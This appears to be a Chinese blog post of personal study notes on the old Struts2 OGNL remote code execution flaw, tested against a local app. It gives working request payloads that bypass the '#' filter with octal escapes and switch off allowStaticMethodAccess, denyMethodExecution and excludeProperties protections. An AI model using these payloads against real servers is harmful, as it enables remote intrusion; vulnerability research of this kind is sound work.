struts2远程执行漏洞学习

首先,这个漏洞已经是比较早的一个了,大概影响范围是struts2.2.1.1以下版本(这个其实是不对的),其次值得参考的参考的网上公开资料有

http://security.ctocio.com.cn/100/11466600.shtml

这是我看过的唯一的一篇对这个漏洞有一定深入讲解的文章。

http://www.securityfocus.com/archive/1/521121

这个是一个发散的文章,指出了struts2的高版本的一些人在持续的问题,其中很多都是高危的。

http://grepcode.com

这是一个很关键的网站,在这里你可以直接下载到不同的struts2的版本,以及其中用到的xwork,ognl的jar包以及源代码和api文档。只有自己重现了这个,才可以深入研究struts2的版本演化。

其次struts2的这个漏洞的实质是ognl的灵活表达问题,我们在struts2中的自动填充变量(就是我们习惯的get,set,而不用手动再繁琐的request.getParmeter())。但是ognl的能力远超这些,他可以在变量及赋值过程访问上下文变量,执行java静态方法,甚至于新建java对象,及调用对应方法。

struts2的漏洞就是缘于此。


http://commons.apache.org/ognl/language-guide.html

这个是ognl的官网,在这里能看到不少这个ognl的表达式的介绍。

下来开始测试,

我首先选择的是struts2.1.18版本这是一个简单的赋值测试,目的是改变context中的

43_memberAccess['allowStaticMethodAccess']=true,这个事webwork中很重要的一个参数,他决定了你是否可以在ognl表达式中使用静态方法,这个在后面的使用中十分重要。

http://localhost:8080/sr218/ice.action?#_memberAccess['allowStaticMethodAccess']=true

实际上这句话并不能很好的完成工作,因为struts2中的xwork过滤掉了#,这里就是这个漏洞的起始点,虽然他过滤掉了#

但是我们可以使用\u0020 \43 \043 ,分别是16进制的unicode编码,8进制的编码这三种方式绕过对#的过滤

http://localhost:8080/sr218/ice.action?\43_memberAccess['allowStaticMethodAccess']=true

但是如果这样依旧会有问题,会产生无法解析的语法树,因为\43这样的他是直接无法解析的,需要用'号括起来

http://localhost:8080/sr218/ice.action?'\43_memberAccess[\'allowStaticMethodAccess\']'=true
由于外层有了单引号,所以内层也要对单引号做转义。这样的语句就可以正常生成ast树了

接下来问题实际上是现在这样仍然无法识别出#_memberAccess['allowStaticMethodAccess'],所以这里才用了个小技巧,构造了复杂一些的ast树

('\43_memberAccess[\'allowStaticMethodAccess\']')(a)

这样的ast树实际上是有两个节点,

('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true

然后赋值就可以了,这里我觉得之所以需要构建2层语法树,实质上是和转义有关的。

http://localhost:8080/sr218/ice.action?('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true

这就是对


struts2远程执行漏洞学习

对这个context中控制ognl关键变量的改变。

当然我们还有另一种写法

http://localhost:8080/sr218/ice.action?('\43_memberAccess.allowStaticMethodAccess')(b)=true

这样的写法也是可以的,而且比较简洁,就看你怎么选了

  • struts2远程执行漏洞学习


struts2远程执行漏洞学习
这个是终结部分了。

除了#_memberAccess.allowStaticMethodAccess'是一个关键属性外,'xwork.MethodAccessor.denyMethodExecution’是另一个关键属性,意义如同名字,这个属性决定了是否可以执行方法,只有当这个属性为false时,我们才可以利用ognl自定义变量,调用一些关键的方法 例如FileWriter的append方法。

xwork.MethodAccessor.denyMethodExecution和#_memberAccess.allowStaticMethodAccess'的区别在于#_memberAccess.allowStaticMethodAccess'是一个context中的属性,而xwork.MethodAccessor.denyMethodExecution则是value hashmap中的一项,这就决定了对这个变量的覆盖不同于上一个方法。

如果采用第一种方法去覆盖的话,查看内存中,xwork.MethodAccessor.denyMethodExecution=java.lang.StringXXX大概是个这么个东西

而我们希望的是覆盖完变成

xwork.MethodAccessor.denyMethodExecution=false这样的形式
struts2远程执行漏洞学习

解决方案:

&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))

实际上就是

#context['xwork.MethodAccessor.denyMethodExecution']=false

放到了一个ast的树枝中,注意,要放到第三层,才能保证解析正确

这个是有人给出的解决方案。http://www.tengsu.com/school/top/2011/school_4595_4.html

同样他指出了在xwork 2.1.2.jar中存在bug,大家可以看看他的文章,最终他给出了解决思路,就是在不利用静态方法的情况下,想办法覆盖掉excludeProperties


struts2远程执行漏洞学习

同样这个不能采用和第一个一样的方法覆盖,那样只能得到字符串。应采用和第二个类似的方法覆盖掉

我就直接放答案了,大家可以自己试试,这个只有在xwork2.1.2中才必须加上这句,以后版本加了也不算错,不过没什么效果

&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))

  • struts2远程执行漏洞学习

  • struts2远程执行漏洞学习

你可能感兴趣的:(struts2)